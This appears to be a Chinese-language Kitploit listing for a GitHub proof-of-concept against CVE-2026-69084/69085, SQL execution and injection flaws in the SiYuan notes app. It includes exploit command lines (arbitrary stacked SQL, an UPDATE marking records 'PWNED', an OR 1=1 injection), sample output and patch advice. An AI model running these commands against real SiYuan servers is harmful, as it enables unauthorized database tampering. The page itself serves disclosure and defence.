Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-69084-PoC — CVE-2026-69084/69085 — SiYuan 通过 searchEmbedBlock + searchDocs SQL 注入实现任意 SQL 执行(CVSS 9.9)。已在 v3.7.2 上验证,在 v3.7.3 上被拒绝。 | Kitploit
工具/GitHubGitHub/boreas37/cve-2026-69084-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试数据库安全
GitHubboreas37/cve-2026-69084-poc

CVE-2026-69084-PoC

CVE-2026-69084/69085 — SiYuan 通过 searchEmbedBlock + searchDocs SQL 注入实现任意 SQL 执行(CVSS 9.9)。已在 v3.7.2 上验证,在 v3.7.3 上被拒绝。

查看仓库
1119天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-69084 / CVE-2026-69085 — SiYuan 任意 SQL 执行与 SQL 注入

CVE-2026-69084: 通过 /api/search/searchEmbedBlock 执行任意 SQL CVE-2026-69085: 通过 /api/filetree/searchDocs 进行 SQL 注入 CVSS 9.9(严重) 每个 · CWE-89 · SiYuan <= v3.7.2(已在 v3.7.3 中修复) 发布于 2026-08-03 · 发布时无公开 PoC

摘要

SiYuan(开源笔记应用,github.com/siyuan-note/siyuan)暴露了 两个 API 端点,将攻击者控制的 SQL 直接传递给其 SQLite 数据库:

CVE-2026-69084 — /api/search/searchEmbedBlock: stmt 参数被原样传递给主读写 siyuan.db 句柄,且没有任何单语句或只读限制。SQLite 驱动程序会执行堆叠(分号分隔)语句,因此攻击者可以 对数据库中的任何内容执行 CREATE / INSERT / UPDATE / DELETE / DROP。 仅受 CheckAuth 限制——使用发布 RoleReader 令牌即可访问, 或在发布模式设置 Publish.Auth.Enable=false 时可匿名访问。

CVE-2026-69085 — /api/filetree/searchDocs: keyword 参数被直接拼接进 SQL,没有任何转义 或参数绑定。

两者均在 v3.7.3 中通过 sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox() 修复。

漏洞利用

root@kitploit:~
# 1. 非破坏性探测(sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check

# 2. 数据库写入证明:CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof

# 3. 执行任意 SQL(支持堆叠语句)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"

# 4. searchDocs SQL 注入(69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"

如果实例以发布模式运行且认证已禁用 (Publish.Auth.Enable=false),则完全不需要 --auth。

验证(Docker 中的真实 SiYuan v3.7.2)

root@kitploit:~
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepted (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepted (blocks: 0)
[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db

# 在主机上:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337

已修补的 v3.7.3 会拒绝相同的请求:

  • SELECT 1; CREATE TABLE x → "SQL statement is not single"
  • UPDATE blocks ... → "SQL statement is not a read-only query"
  • 单个 SELECT 仍然有效(保留合法功能)

PoC 内部原理

Python PoC 执行会话登录(/api/system/loginAuth)以获取 认证 cookie,然后向易受攻击的端点发送 POST 请求。已在 b3log/siyuan:v3.7.2(易受攻击)和 b3log/siyuan:v3.7.3(已修补)上测试。

修复建议

  • 将 SiYuan 升级到 v3.7.3 或更高版本。
  • 如果暴露了 SiYuan 的发布模式,请保持 Publish.Auth.Enable=true 并 使用强 RoleReader 令牌。

参考

  • GHSA-p2x7-4c4p-8wh6 (69084)
  • GHSA-5w4j-hchp-r332 (69085)
  • NVD — CVE-2026-69084
  • NVD — CVE-2026-69085
  • VulnCheck 公告

免责声明

仅用于授权的安全测试和教育目的。

下载工具